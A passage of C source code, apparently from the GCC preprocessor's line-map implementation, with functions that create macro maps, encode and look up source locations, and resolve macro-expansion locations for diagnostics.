that are part of a macro replacement-list, at a macro expansion
point. See the extensive comments of struct line_map and struct
line_map_macro, in line-map.h.
This map shall be created when the macro is expanded. The map
encodes the source location of the expansion point of the macro as
well as the "original" source location of each token that is part
of the macro replacement-list. If a macro is defined but never
expanded, it has no macro map. SET is the set of maps the macro
map should be part of. MACRO_NODE is the macro which the new macro
map should encode source locations for. EXPANSION is the location
of the expansion point of MACRO. For function-like macros
invocations, it's best to make it point to the closing parenthesis
of the macro, rather than the the location of the first character
of the macro. NUM_TOKENS is the number of tokens that are part of
the replacement-list of MACRO.
Note that when we run out of the integer space available for source
locations, this function returns NULL. In that case, callers of
this function cannot encode {line,column} pairs into locations of
macro tokens anymore. */
const line_map_macro *
linemap_enter_macro (struct line_maps *set, struct cpp_hashnode *macro_node,
source_location expansion, unsigned int num_tokens)
{
line_map_macro *map;
source_location start_location;
/* Cast away extern "C" from the type of xrealloc. */
line_map_realloc reallocator = (set->reallocator
? set->reallocator
: (line_map_realloc) xrealloc);
start_location = LINEMAPS_MACRO_LOWEST_LOCATION (set) - num_tokens;
if (start_location <= set->highest_line
|| start_location > LINEMAPS_MACRO_LOWEST_LOCATION (set))
/* We ran out of macro map space. */
return NULL;
map = linemap_check_macro (new_linemap (set, LC_ENTER_MACRO));
map->start_location = start_location;
map->macro = macro_node;
map->n_tokens = num_tokens;
map->macro_locations
= (source_location*) reallocator (NULL,
2 * num_tokens
* sizeof (source_location));
map->expansion = expansion;
memset (MACRO_MAP_LOCATIONS (map), 0,
num_tokens * sizeof (source_location));
LINEMAPS_MACRO_CACHE (set) = LINEMAPS_MACRO_USED (set) - 1;
return map;
}
/* Create and return a virtual location for a token that is part of a
macro expansion-list at a macro expansion point. See the comment
inside struct line_map_macro to see what an expansion-list exactly
is.
A call to this function must come after a call to
linemap_enter_macro.
MAP is the map into which the source location is created. TOKEN_NO
is the index of the token in the macro replacement-list, starting
at number 0.
ORIG_LOC is the location of the token outside of this macro
expansion. If the token comes originally from the macro
definition, it is the locus in the macro definition; otherwise it
is a location in the context of the caller of this macro expansion
(which is a virtual location or a source location if the caller is
itself a macro expansion or not).
ORIG_PARM_REPLACEMENT_LOC is the location in the macro definition,
either of the token itself or of a macro parameter that it
replaces. */
source_location
linemap_add_macro_token (const line_map_macro *map,
unsigned int token_no,
source_location orig_loc,
source_location orig_parm_replacement_loc)
{
source_location result;
linemap_assert (linemap_macro_expansion_map_p (map));
linemap_assert (token_no < MACRO_MAP_NUM_MACRO_TOKENS (map));
MACRO_MAP_LOCATIONS (map)[2 * token_no] = orig_loc;
MACRO_MAP_LOCATIONS (map)[2 * token_no + 1] = orig_parm_replacement_loc;
result = MAP_START_LOCATION (map) + token_no;
return result;
}
/* Return a source_location for the start (i.e. column==0) of
(physical) line TO_LINE in the current source file (as in the
most recent linemap_add). MAX_COLUMN_HINT is the highest column
number we expect to use in this line (but it does not change
the highest_location). */
source_location
linemap_line_start (struct line_maps *set, linenum_type to_line,
unsigned int max_column_hint)
{
line_map_ordinary *map = LINEMAPS_LAST_ORDINARY_MAP (set);
source_location highest = set->highest_location;
source_location r;
linenum_type last_line =
SOURCE_LINE (map, set->highest_line);
int line_delta = to_line - last_line;
bool add_map = false;
linemap_assert (map->m_column_and_range_bits >= map->m_range_bits);
int effective_column_bits = map->m_column_and_range_bits - map->m_range_bits;
if (line_delta < 0
|| (line_delta > 10
&& line_delta * map->m_column_and_range_bits > 1000)
|| (max_column_hint >= (1U << effective_column_bits))
|| (max_column_hint <= 80 && effective_column_bits >= 10)
|| (highest > LINE_MAP_MAX_LOCATION_WITH_PACKED_RANGES
&& map->m_range_bits > 0)
|| (highest > LINE_MAP_MAX_LOCATION_WITH_COLS
&& (set->max_column_hint || highest >= LINE_MAP_MAX_SOURCE_LOCATION)))
add_map = true;
else
max_column_hint = set->max_column_hint;
if (add_map)
{
int column_bits;
int range_bits;
if (max_column_hint > LINE_MAP_MAX_COLUMN_NUMBER
|| highest > LINE_MAP_MAX_LOCATION_WITH_COLS)
{
/* If the column number is ridiculous or we've allocated a huge
number of source_locations, give up on column numbers
(and on packed ranges). */
max_column_hint = 0;
column_bits = 0;
range_bits = 0;
if (highest > LINE_MAP_MAX_SOURCE_LOCATION)
return 0;
}
else
{
column_bits = 7;
if (highest <= LINE_MAP_MAX_LOCATION_WITH_PACKED_RANGES)
range_bits = set->default_range_bits;
else
range_bits = 0;
while (max_column_hint >= (1U << column_bits))
column_bits++;
max_column_hint = 1U << column_bits;
column_bits += range_bits;
}
/* Allocate the new line_map. However, if the current map only has a
single line we can sometimes just increase its column_bits instead. */
if (line_delta < 0
|| last_line != ORDINARY_MAP_STARTING_LINE_NUMBER (map)
|| SOURCE_COLUMN (map, highest) >= (1U << column_bits)
|| range_bits < map->m_range_bits)
map = linemap_check_ordinary
(const_cast <line_map *>
(linemap_add (set, LC_RENAME,
ORDINARY_MAP_IN_SYSTEM_HEADER_P (map),
ORDINARY_MAP_FILE_NAME (map),
to_line)));
map->m_column_and_range_bits = column_bits;
map->m_range_bits = range_bits;
r = (MAP_START_LOCATION (map)
+ ((to_line - ORDINARY_MAP_STARTING_LINE_NUMBER (map))
<< column_bits));
}
else
r = set->highest_line + (line_delta << map->m_column_and_range_bits);
/* Locations of ordinary tokens are always lower than locations of
macro tokens. */
if (r >= LINEMAPS_MACRO_LOWEST_LOCATION (set))
return 0;
set->highest_line = r;
if (r > set->highest_location)
set->highest_location = r;
set->max_column_hint = max_column_hint;
/* At this point, we expect one of:
(a) the normal case: a "pure" location with 0 range bits, or
(b) we've gone past LINE_MAP_MAX_LOCATION_WITH_COLS so can't track
columns anymore (or ranges), or
(c) we're in a region with a column hint exceeding
LINE_MAP_MAX_COLUMN_NUMBER, so column-tracking is off,
with column_bits == 0. */
linemap_assert (pure_location_p (set, r)
|| r >= LINE_MAP_MAX_LOCATION_WITH_COLS
|| map->m_column_and_range_bits == 0);
linemap_assert (SOURCE_LINE (map, r) == to_line);
return r;
}
/* Encode and return a source_location from a column number. The
source line considered is the last source line used to call
linemap_line_start, i.e, the last source line which a location was
encoded from. */
source_location
linemap_position_for_column (struct line_maps *set, unsigned int to_column)
{
source_location r = set->highest_line;
linemap_assert
(!linemap_macro_expansion_map_p (LINEMAPS_LAST_ORDINARY_MAP (set)));
if (to_column >= set->max_column_hint)
{
if (r > LINE_MAP_MAX_LOCATION_WITH_COLS
|| to_column > LINE_MAP_MAX_COLUMN_NUMBER)
{
/* Running low on source_locations - disable column numbers. */
return r;
}
else
{
line_map_ordinary *map = LINEMAPS_LAST_ORDINARY_MAP (set);
r = linemap_line_start (set, SOURCE_LINE (map, r), to_column + 50);
}
}
line_map_ordinary *map = LINEMAPS_LAST_ORDINARY_MAP (set);
r = r + (to_column << map->m_range_bits);
if (r >= set->highest_location)
set->highest_location = r;
return r;
}
/* Encode and return a source location from a given line and
column. */
source_location
linemap_position_for_line_and_column (line_maps *set,
const line_map_ordinary *ord_map,
linenum_type line,
unsigned column)
{
linemap_assert (ORDINARY_MAP_STARTING_LINE_NUMBER (ord_map) <= line);
source_location r = MAP_START_LOCATION (ord_map);
r += ((line - ORDINARY_MAP_STARTING_LINE_NUMBER (ord_map))
<< ord_map->m_column_and_range_bits);
if (r <= LINE_MAP_MAX_LOCATION_WITH_COLS)
r += ((column & ((1 << ord_map->m_column_and_range_bits) - 1))
<< ord_map->m_range_bits);
source_location upper_limit = LINEMAPS_MACRO_LOWEST_LOCATION (set);
if (r >= upper_limit)
r = upper_limit - 1;
if (r > set->highest_location)
set->highest_location = r;
return r;
}
/* Encode and return a source_location starting from location LOC and
shifting it by OFFSET columns. This function does not support
virtual locations. */
source_location
linemap_position_for_loc_and_offset (struct line_maps *set,
source_location loc,
unsigned int offset)
{
const line_map_ordinary * map = NULL;
if (IS_ADHOC_LOC (loc))
loc = set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].locus;
/* This function does not support virtual locations yet. */
if (linemap_assert_fails
(!linemap_location_from_macro_expansion_p (set, loc)))
return loc;
if (offset == 0
/* Adding an offset to a reserved location (like
UNKNOWN_LOCATION for the C/C++ FEs) does not really make
sense. So let's leave the location intact in that case. */
|| loc < RESERVED_LOCATION_COUNT)
return loc;
/* We find the real location and shift it. */
loc = linemap_resolve_location (set, loc, LRK_SPELLING_LOCATION, &map);
/* The new location (loc + offset) should be higher than the first
location encoded by MAP. This can fail if the line information
is messed up because of line directives (see PR66415). */
if (MAP_START_LOCATION (map) >= loc + offset)
return loc;
linenum_type line = SOURCE_LINE (map, loc);
unsigned int column = SOURCE_COLUMN (map, loc);
/* If MAP is not the last line map of its set, then the new location
(loc + offset) should be less than the first location encoded by
the next line map of the set. Otherwise, we try to encode the
location in the next map. */
while (map != LINEMAPS_LAST_ORDINARY_MAP (set)
&& loc + offset >= MAP_START_LOCATION (&map[1]))
{
map = &map[1];
/* If the next map starts in a higher line, we cannot encode the
location there. */
if (line < ORDINARY_MAP_STARTING_LINE_NUMBER (map))
return loc;
}
offset += column;
if (linemap_assert_fails (offset < (1u << map->m_column_and_range_bits)))
return loc;
source_location r =
linemap_position_for_line_and_column (set, map, line, offset);
if (linemap_assert_fails (r <= set->highest_location)
|| linemap_assert_fails (map == linemap_lookup (set, r)))
return loc;
return r;
}
/* Given a virtual source location yielded by a map (either an
ordinary or a macro map), returns that map. */
const struct line_map*
linemap_lookup (struct line_maps *set, source_location line)
{
if (IS_ADHOC_LOC (line))
line = set->location_adhoc_data_map.data[line & MAX_SOURCE_LOCATION].locus;
if (linemap_location_from_macro_expansion_p (set, line))
return linemap_macro_map_lookup (set, line);
return linemap_ordinary_map_lookup (set, line);
}
/* Given a source location yielded by an ordinary map, returns that
map. Since the set is built chronologically, the logical lines are
monotonic increasing, and so the list is sorted and we can use a
binary search. */
static const line_map_ordinary *
linemap_ordinary_map_lookup (struct line_maps *set, source_location line)
{
unsigned int md, mn, mx;
const line_map_ordinary *cached, *result;
if (IS_ADHOC_LOC (line))
line = set->location_adhoc_data_map.data[line & MAX_SOURCE_LOCATION].locus;
if (set == NULL || line < RESERVED_LOCATION_COUNT)
return NULL;
mn = LINEMAPS_ORDINARY_CACHE (set);
mx = LINEMAPS_ORDINARY_USED (set);
cached = LINEMAPS_ORDINARY_MAP_AT (set, mn);
/* We should get a segfault if no line_maps have been added yet. */
if (line >= MAP_START_LOCATION (cached))
{
if (mn + 1 == mx || line < MAP_START_LOCATION (&cached[1]))
return cached;
}
else
{
mx = mn;
mn = 0;
}
while (mx - mn > 1)
{
md = (mn + mx) / 2;
if (MAP_START_LOCATION (LINEMAPS_ORDINARY_MAP_AT (set, md)) > line)
mx = md;
else
mn = md;
}
LINEMAPS_ORDINARY_CACHE (set) = mn;
result = LINEMAPS_ORDINARY_MAP_AT (set, mn);
linemap_assert (line >= MAP_START_LOCATION (result));
return result;
}
/* Given a source location yielded by a macro map, returns that map.
Since the set is built chronologically, the logical lines are
monotonic decreasing, and so the list is sorted and we can use a
binary search. */
static const line_map_macro *
linemap_macro_map_lookup (struct line_maps *set, source_location line)
{
unsigned int md, mn, mx;
const struct line_map_macro *cached, *result;
if (IS_ADHOC_LOC (line))
line = set->location_adhoc_data_map.data[line & MAX_SOURCE_LOCATION].locus;
linemap_assert (line >= LINEMAPS_MACRO_LOWEST_LOCATION (set));
if (set == NULL)
return NULL;
mn = LINEMAPS_MACRO_CACHE (set);
mx = LINEMAPS_MACRO_USED (set);
cached = LINEMAPS_MACRO_MAP_AT (set, mn);
if (line >= MAP_START_LOCATION (cached))
{
if (mn == 0 || line < MAP_START_LOCATION (&cached[-1]))
return cached;
mx = mn - 1;
mn = 0;
}
while (mn < mx)
{
md = (mx + mn) / 2;
if (MAP_START_LOCATION (LINEMAPS_MACRO_MAP_AT (set, md)) > line)
mn = md + 1;
else
mx = md;
}
LINEMAPS_MACRO_CACHE (set) = mx;
result = LINEMAPS_MACRO_MAP_AT (set, LINEMAPS_MACRO_CACHE (set));
linemap_assert (MAP_START_LOCATION (result) <= line);
return result;
}
/* Return TRUE if MAP encodes locations coming from a macro
replacement-list at macro expansion point. */
bool
linemap_macro_expansion_map_p (const struct line_map *map)
{
if (!map)
return false;
return (map->reason == LC_ENTER_MACRO);
}
/* If LOCATION is the locus of a token in a replacement-list of a
macro expansion return the location of the macro expansion point.
Read the comments of struct line_map and struct line_map_macro in
line-map.h to understand what a macro expansion point is. */
static source_location
linemap_macro_map_loc_to_exp_point (const line_map_macro *map,
source_location location ATTRIBUTE_UNUSED)
{
linemap_assert (linemap_macro_expansion_map_p (map)
&& location >= MAP_START_LOCATION (map));
/* Make sure LOCATION is correct. */
linemap_assert ((location - MAP_START_LOCATION (map))
< MACRO_MAP_NUM_MACRO_TOKENS (map));
return MACRO_MAP_EXPANSION_POINT_LOCATION (map);
}
/* LOCATION is the source location of a token that belongs to a macro
replacement-list as part of the macro expansion denoted by MAP.
Return the location of the token at the definition point of the
macro. */
static source_location
linemap_macro_map_loc_to_def_point (const line_map_macro *map,
source_location location)
{
unsigned token_no;
linemap_assert (linemap_macro_expansion_map_p (map)
&& location >= MAP_START_LOCATION (map));
linemap_assert (location >= RESERVED_LOCATION_COUNT);
token_no = location - MAP_START_LOCATION (map);
linemap_assert (token_no < MACRO_MAP_NUM_MACRO_TOKENS (map));
location = MACRO_MAP_LOCATIONS (map)[2 * token_no + 1];
return location;
}
/* If LOCATION is the locus of a token that is an argument of a
function-like macro M and appears in the expansion of M, return the
locus of that argument in the context of the caller of M.
In other words, this returns the xI location presented in the
comments of line_map_macro above. */
source_location
linemap_macro_map_loc_unwind_toward_spelling (line_maps *set,
const line_map_macro* map,
source_location location)
{
unsigned token_no;
if (IS_ADHOC_LOC (location))
location = get_location_from_adhoc_loc (set, location);
linemap_assert (linemap_macro_expansion_map_p (map)
&& location >= MAP_START_LOCATION (map));
linemap_assert (location >= RESERVED_LOCATION_COUNT);
linemap_assert (!IS_ADHOC_LOC (location));
token_no = location - MAP_START_LOCATION (map);
linemap_assert (token_no < MACRO_MAP_NUM_MACRO_TOKENS (map));
location = MACRO_MAP_LOCATIONS (map)[2 * token_no];
return location;
}
/* Return the source line number corresponding to source location
LOCATION. SET is the line map set LOCATION comes from. If
LOCATION is the source location of token that is part of the
replacement-list of a macro expansion return the line number of the
macro expansion point. */
int
linemap_get_expansion_line (struct line_maps *set,
source_location location)
{
const line_map_ordinary *map = NULL;
if (IS_ADHOC_LOC (location))
location = set->location_adhoc_data_map.data[location
& MAX_SOURCE_LOCATION].locus;
if (location < RESERVED_LOCATION_COUNT)
return 0;
location =
linemap_macro_loc_to_exp_point (set, location, &map);
return SOURCE_LINE (map, location);
}
/* Return the path of the file corresponding to source code location
LOCATION.
If LOCATION is the source location of token that is part of the
replacement-list of a macro expansion return the file path of the
macro expansion point.
SET is the line map set LOCATION comes from. */
const char*
linemap_get_expansion_filename (struct line_maps *set,
source_location location)
{
const struct line_map_ordinary *map = NULL;
if (IS_ADHOC_LOC (location))
location = set->location_adhoc_data_map.data[location
& MAX_SOURCE_LOCATION].locus;
if (location < RESERVED_LOCATION_COUNT)
return NULL;
location =
linemap_macro_loc_to_exp_point (set, location, &map);
return LINEMAP_FILE (map);
}
/* Return the name of the macro associated to MACRO_MAP. */
const char*
linemap_map_get_macro_name (const line_map_macro *macro_map)
{
linemap_assert (macro_map && linemap_macro_expansion_map_p (macro_map));
return (const char*) NODE_NAME (MACRO_MAP_MACRO (macro_map));
}
/* Return a positive value if LOCATION is the locus of a token that is
located in a system header, O otherwise. It returns 1 if LOCATION
is the locus of a token that is located in a system header, and 2
if LOCATION is the locus of a token located in a C system header
that therefore needs to be extern "C" protected in C++.
Note that this function returns 1 if LOCATION belongs to a token
that is part of a macro replacement-list defined in a system
header, but expanded in a non-system file. */
int
linemap_location_in_system_header_p (struct line_maps *set,
source_location location)
{
const struct line_map *map = NULL;
if (IS_ADHOC_LOC (location))
location = set->location_adhoc_data_map.data[location
& MAX_SOURCE_LOCATION].locus;
if (location < RESERVED_LOCATION_COUNT)
return false;
/* Let's look at where the token for LOCATION comes from. */
while (true)
{
map = linemap_lookup (set, location);
if (map != NULL)
{
if (!linemap_macro_expansion_map_p (map))
/* It's a normal token. */
return LINEMAP_SYSP (linemap_check_ordinary (map));
else
{
const line_map_macro *macro_map = linemap_check_macro (map);
/* It's a token resulting from a macro expansion. */
source_location loc =
linemap_macro_map_loc_unwind_toward_spelling (set, macro_map, location);
if (loc < RESERVED_LOCATION_COUNT)
/* This token might come from a built-in macro. Let's
look at where that macro got expanded. */
location = linemap_macro_map_loc_to_exp_point (macro_map, location);
else
location = loc;
}
}
else
break;
}
return false;
}
/* Return TRUE if LOCATION is a source code location of a token coming
from a macro replacement-list at a macro expansion point, FALSE
otherwise. */
bool
linemap_location_from_macro_expansion_p (const struct line_maps *set,
source_location location)
{
if (IS_ADHOC_LOC (location))
location = set->location_adhoc_data_map.data[location
& MAX_SOURCE_LOCATION].locus;
linemap_assert (location <= MAX_SOURCE_LOCATION
&& (set->highest_location
< LINEMAPS_MACRO_LOWEST_LOCATION (set)));
if (set == NULL)
return false;
return (location > set->highest_location);
}
/* Given two virtual locations *LOC0 and *LOC1, return the first
common macro map in their macro expansion histories. Return NULL
if no common macro was found. *LOC0 (resp. *LOC1) is set to the
virtual location of the token inside the resulting macro. */
static const struct line_map*
first_map_in_common_1 (struct line_maps *set,
source_location *loc0,
source_location *loc1)
{
source_location l0 = *loc0, l1 = *loc1;
const struct line_map *map0 = linemap_lookup (set, l0),
*map1 = linemap_lookup (set, l1);
while (linemap_macro_expansion_map_p (map0)
&& linemap_macro_expansion_map_p (map1)
&& (map0 != map1))
{
if (MAP_START_LOCATION (map0) < MAP_START_LOCATION (map1))
{
l0 = linemap_macro_map_loc_to_exp_point (linemap_check_macro (map0),
l0);
map0 = linemap_lookup (set, l0);
}
else
{
l1 = linemap_macro_map_loc_to_exp_point (linemap_check_macro (map1),
l1);
map1 = linemap_lookup (set, l1);
}
}
if (map0 == map1)
{
*loc0 = l0;
*loc1 = l1;
return map0;
}
return NULL;
}
/* Given two virtual locations LOC0 and LOC1, return the first common
macro map in their macro expansion histories. Return NULL if no
common macro was found. *RES_LOC0 (resp. *RES_LOC1) is set to the
virtual location of the token inside the resulting macro, upon
return of a non-NULL result. */
static const struct line_map*
first_map_in_common (struct line_maps *set,
source_location loc0,
source_location loc1,
source_location *res_loc0,
source_location *res_loc1)
{
*res_loc0 = loc0;
*res_loc1 = loc1;
return first_map_in_common_1 (set, res_loc0, res_loc1);
}
/* Return a positive value if PRE denotes the location of a token that
comes before the token of POST, 0 if PRE denotes the location of
the same token as the token for POST, and a negative value
otherwise. */
int
linemap_compare_locations (struct line_maps *set,
source_location pre,
source_location post)
{
bool pre_virtual_p, post_virtual_p;
source_location l0 = pre, l1 = post;
if (IS_ADHOC_LOC (l0))
l0 = get_location_from_adhoc_loc (set, l0);
if (IS_ADHOC_LOC (l1))
l1 = get_location_from_adhoc_loc (set, l1);
if (l0 == l1)
return 0;
if ((pre_virtual_p = linemap_location_from_macro_expansion_p (set, l0)))
l0 = linemap_resolve_location (set, l0,
LRK_MACRO_EXPANSION_POINT,
NULL);
if ((post_virtual_p = linemap_location_from_macro_expansion_p (set, l1)))
l1 = linemap_resolve_location (set, l1,
LRK_MACRO_EXPANSION_POINT,
NULL);
if (l0 == l1
&& pre_virtual_p
&& post_virtual_p)
{
/* So pre and post represent two tokens that are present in a
same macro expansion. Let's see if the token for pre was
before the token for post in that expansion. */
unsigned i0, i1;
const struct line_map *map =
first_map_in_common (set, pre, post, &l0, &l1);
if (map == NULL)
/* This should not be possible. */
abort ();
i0 = l0 - MAP_START_LOCATION (map);
i1 = l1 - MAP_START_LOCATION (map);
return i1 - i0;
}
if (IS_ADHOC_LOC (l0))
l0 = get_location_from_adhoc_loc (set, l0);
if (IS_ADHOC_LOC (l1))
l1 = get_location_from_adhoc_loc (set, l1);
return l1 - l0;
}
/* Print an include trace, for e.g. the -H option of the preprocessor. */
static void
trace_include (const struct line_maps *set, const line_map_ordinary *map)
{
unsigned int i = set->depth;
while (--i)
putc ('.', stderr);
fprintf (stderr, " %s\n", ORDINARY_MAP_FILE_NAME (map));
}
/* Return the spelling location of the token wherever it comes from,
whether part of a macro definition or not.
This is a subroutine for linemap_resolve_location. */
static source_location
linemap_macro_loc_to_spelling_point (struct line_maps *set,
source_location location,
const line_map_ordinary **original_map)
{
struct line_map *map;
linemap_assert (set && location >= RESERVED_LOCATION_COUNT);
while (true)
{
map = const_cast <line_map *> (linemap_lookup (set, location));
if (!linemap_macro_expansion_map_p (map))
break;
location
= linemap_macro_map_loc_unwind_toward_spelling
(set, linemap_check_macro (map),
location);
}
if (original_map)
*original_map = linemap_check_ordinary (map);
return location;
}
/* If LOCATION is the source location of a token that belongs to a
macro replacement-list -- as part of a macro expansion -- then
return the location of the token at the definition point of the
macro. Otherwise, return LOCATION. SET is the set of maps
location come from. ORIGINAL_MAP is an output parm. If non NULL,
the function sets *ORIGINAL_MAP to the ordinary (non-macro) map the
returned location comes from.
This is a subroutine of linemap_resolve_location. */
static source_location
linemap_macro_loc_to_def_point (struct line_maps *set,
source_location location,
const line_map_ordinary **original_map)
{
struct line_map *map;
if (IS_ADHOC_LOC (location))
location = set->location_adhoc_data_map.data[location
& MAX_SOURCE_LOCATION].locus;
linemap_assert (set && location >= RESERVED_LOCATION_COUNT);
while (true)
{
map = const_cast <line_map *> (linemap_lookup (set, location));
if (!linemap_macro_expansion_map_p (map))
break;
location =
linemap_macro_map_loc_to_def_point (linemap_check_macro (map),
location);
}
if (original_map)
*original_map = linemap_check_ordinary (map);
return location;
}
/* If LOCATION is the source location of a token that belongs to a
macro replacement-list -- at a macro expansion point -- then return
the location of the topmost expansion point of the macro. We say
topmost because if we are in the context of a nested macro
expansion, the function returns the source location of the first
macro expansion that triggered the nested expansions.
Otherwise, return LOCATION. SET is the set of maps location come
from. ORIGINAL_MAP is an output parm. If non NULL, the function
sets *ORIGINAL_MAP to the ordinary (non-macro) map the returned
location comes from.
This is a subroutine of linemap_resolve_location. */
static source_location
linemap_macro_loc_to_exp_point (struct line_maps *set,
source_location location,
const line_map_ordinary **original_map)
{
struct line_map *map;
if (IS_ADHOC_LOC (location))
location = set->location_adhoc_data_map.data[location
& MAX_SOURCE_LOCATION].locus;
linemap_assert (set && location >= RESERVED_LOCATION_COUNT);
while (true)
{
map = const_cast <line_map *> (linemap_lookup (set, location));
if (!linemap_macro_expansion_map_p (map))
break;
location = linemap_macro_map_loc_to_exp_point (linemap_check_macro (map),
location);
}
if (original_map)
*original_map = linemap_check_ordinary (map);
return location;
}
/* Resolve a virtual location into either a spelling location, an
expansion point location or a token argument replacement point
location. Return the map that encodes the virtual location as well
as the resolved location.
If LOC is *NOT* the location of a token resulting from the
expansion of a macro, then the parameter LRK (which stands for
Location Resolution Kind) is ignored and the resulting location
just equals the one given in argument.
Now if LOC *IS* the location of a token resulting from the
expansion of a macro, this is what happens.
* If LRK is set to LRK_MACRO_EXPANSION_POINT
-------------------------------
The virtual location is resolved to the first macro expansion point
that led to this macro expansion.
* If LRK is set to LRK_SPELLING_LOCATION
-------------------------------------
The virtual location is resolved to the locus where the token has
been spelled in the source. This can follow through all the macro
expansions that led to the token.
* If LRK is set to LRK_MACRO_DEFINITION_LOCATION
--------------------------------------
The virtual location is resolved to the locus of the token in the
context of the macro definition.
If LOC is the locus of a token that is an argument of a
function-like macro [replacing a parameter in the replacement list
of the macro] the virtual location is resolved to the locus of the
parameter that is replaced, in the context of the definition of the
macro.
If LOC is the locus of a token that is not an argument of a
function-like macro, then the function behaves as if LRK was set to
LRK_SPELLING_LOCATION.
If MAP is not NULL, *MAP is set to the map encoding the
returned location. Note that if the returned location wasn't originally
encoded by a map, then *MAP is set to NULL. This can happen if LOC
resolves to a location reserved for the client code, like
UNKNOWN_LOCATION or BUILTINS_LOCATION in GCC. */
source_location
linemap_resolve_location (struct line_maps *set,
source_location loc,
enum location_resolution_kind lrk,
const line_map_ordinary **map)
{
source_location locus = loc;
if (IS_ADHOC_LOC (loc))
locus = set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].locus;
if (locus < RESERVED_LOCATION_COUNT)
{
/* A reserved location wasn't encoded in a map. Let's return a
NULL map here, just like what linemap_ordinary_map_lookup
does. */
if (map)
*map = NULL;
return loc;
}
switch (lrk)
{
case LRK_MACRO_EXPANSION_POINT:
loc = linemap_macro_loc_to_exp_point (set, loc, map);
break;
case LRK_SPELLING_LOCATION:
loc = linemap_macro_loc_to_spelling_point (set, loc, map);
break;
case LRK_MACRO_DEFINITION_LOCATION:
loc = linemap_macro_loc_to_def_point (set, loc, map);
break;
default:
abort ();
}
return loc;
}
/*
Suppose that LOC is the virtual location of a token T coming from
the expansion of a macro M. This function then steps up to get the
location L of the point where M got expanded. If L is a spelling
location inside a macro expansion M', then this function returns
the locus of the point where M' was expanded. Said otherwise, this
function returns the location of T in the context that triggered
the expansion of M.
*LOC_MAP must be set to the map of LOC. This function then sets it
to the map of the returned location. */
source_location
linemap_unwind_toward_expansion (struct line_maps *set,
source_location loc,
const struct line_map **map)
{
source_location resolved_location;
const line_map_macro *macro_map = linemap_check_macro (*map);
const struct line_map *resolved_map;
if (IS_ADHOC_LOC (loc))
loc = set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].locus;
resolved_location =
linemap_macro_map_loc_unwind_toward_spelling (set, macro_map, loc);
resolved_map = linemap_lookup (set, resolved_location);
if (!linemap_macro_expansion_map_p (resolved_map))
{
resolved_location = linemap_macro_map_loc_to_exp_point (macro_map, loc);
resolved_map = linemap_lookup (set, resolved_location);
}
*map = resolved_map;
return resolved_location;
}
/* If LOC is the virtual location of a token coming from the expansion
of a macro M and if its spelling location is reserved (e.g, a
location for a built-in token), then this function unwinds (using
linemap_unwind_toward_expansion) the location until a location that
is not reserved and is not in a system header is reached. In other
words, this unwinds the reserved location until a location that is
in real source code is reached.
Otherwise, if the spelling location for LOC is not reserved or if
LOC doesn't come from the expansion of a macro, the function
returns LOC as is and *MAP is not touched.
*MAP is set to the map of the returned location if the later is
different from LOC. */
source_location
linemap_unwind_to_first_non_reserved_loc (struct line_maps *set,
source_location loc,
const struct line_map **map)
{
source_location resolved_loc;
const struct line_map *map0 = NULL;
const line_map_ordinary *map1 = NULL;
if (IS_ADHOC_LOC (loc))
loc = set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].locus;
map0 = linemap_lookup (set, loc);
if (!linemap_macro_expansion_map_p (map0))
return loc;
resolved_loc = linemap_resolve_location (set, loc,
LRK_SPELLING_LOCATION,
&map1);
if (resolved_loc >= RESERVED_LOCATION_COUNT
&& !LINEMAP_SYSP (map1))
return loc;
while (linemap_macro_expansion_map_p (map0)
&& (resolved_loc < RESERVED_LOCATION_COUNT
|| LINEMAP_SYSP (map1)))
{
loc = linemap_unwind_toward_expansion (set, loc, &map0);
resolved_loc = linemap_resolve_location (set, loc,
LRK_SPELLING_LOCATION,
&map1);
}
if (map != NULL)
*map = map0;
return loc;
}
/* Expand source code location LOC and return a user readable source
code location. LOC must be a spelling (non-virtual) location. If
it's a location < RESERVED_LOCATION_COUNT a zeroed expanded source
location is returned. */
expanded_location
linemap_expand_location (struct line_maps *set,
const struct line_map *map,
source_location loc)
{
expanded_location xloc;
memset (&xloc, 0, sizeof (xloc));
if (IS_ADHOC_LOC (loc))
{
xloc.data
= set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].data;
loc = set->location_adhoc_data_map.data[loc & MAX_SOURCE_LOCATION].locus;
}
if (loc < RESERVED_LOCATION_COUNT)
/* The location for this token wasn't generated from a line map.
It was probably a location for a builtin token, chosen by some
client code. Let's not try to expand the location in that
case. */;
else if (map == NULL)
/* We shouldn't be getting a NULL map with a location that is not
reserved by the client code. */
abort ();
else
{
/* MAP must be an ordinary map and LOC must be non-virtual,
encoded into this map, obviously; the accessors used on MAP
below ensure it is ordinary. Let's just assert the
non-virtualness of LOC here. */
if (linemap_location_from_macro_expansion_p (set, loc))
abort ();
const line_map_ordinary *ord_map = linemap_check_ordinary (map);
xloc.file = LINEMAP_FILE (ord_map);
xloc.line = SOURCE_LINE (ord_map, loc);
xloc.column = SOURCE_COLUMN (ord_map, loc);
xloc.sysp = LINEMAP_SYSP (ord_map) != 0;
}
return xloc;
}
/* Dump line map at index IX in line table SET to STREAM. If STREAM
is NULL, use stderr. IS_MACRO is true if the caller wants to
dump a macro map, false otherwise. */
void
linemap_dump (FILE *stream, struct line_maps *set, unsigned ix, bool is_macro)
{
const char *lc_reasons_v[LC_ENTER_MACRO + 1]
= { "LC_ENTER", "LC_LEAVE", "LC_RENAME", "LC_RENAME_VERBATIM",
"LC_ENTER_MACRO" };
const char *reason;
const line_map *map;
if (stream == NULL)
stream = stderr;
if (!is_macro)
map = LINEMAPS_ORDINARY_MAP_AT (set, ix);
else
map = LINEMAPS_MACRO_MAP_AT (set, ix);
reason = (map->reason <= LC_ENTER_MACRO) ? lc_reasons_v[map->reason] : "???";
fprintf (stream, "Map #%u [%p] - LOC: %u - REASON: %s - SYSP: %s\n",
ix, (void *) map, map->start_location, reason,
((!is_macro
&& ORDINARY_MAP_IN_SYSTEM_HEADER_P (linemap_check_ordinary (map)))
? "yes" : "no"));
if (!is_macro)
{
const line_map_ordinary *ord_map = linemap_check_ordinary (map);
unsigned includer_ix;
const line_map_ordinary *includer_map;
includer_ix = ORDINARY_MAP_INCLUDER_FILE_INDEX (ord_map);
includer_map = includer_ix < LINEMAPS_ORDINARY_USED (set)
? LINEMAPS_ORDINARY_MAP_AT (set, includer_ix)
: NULL;
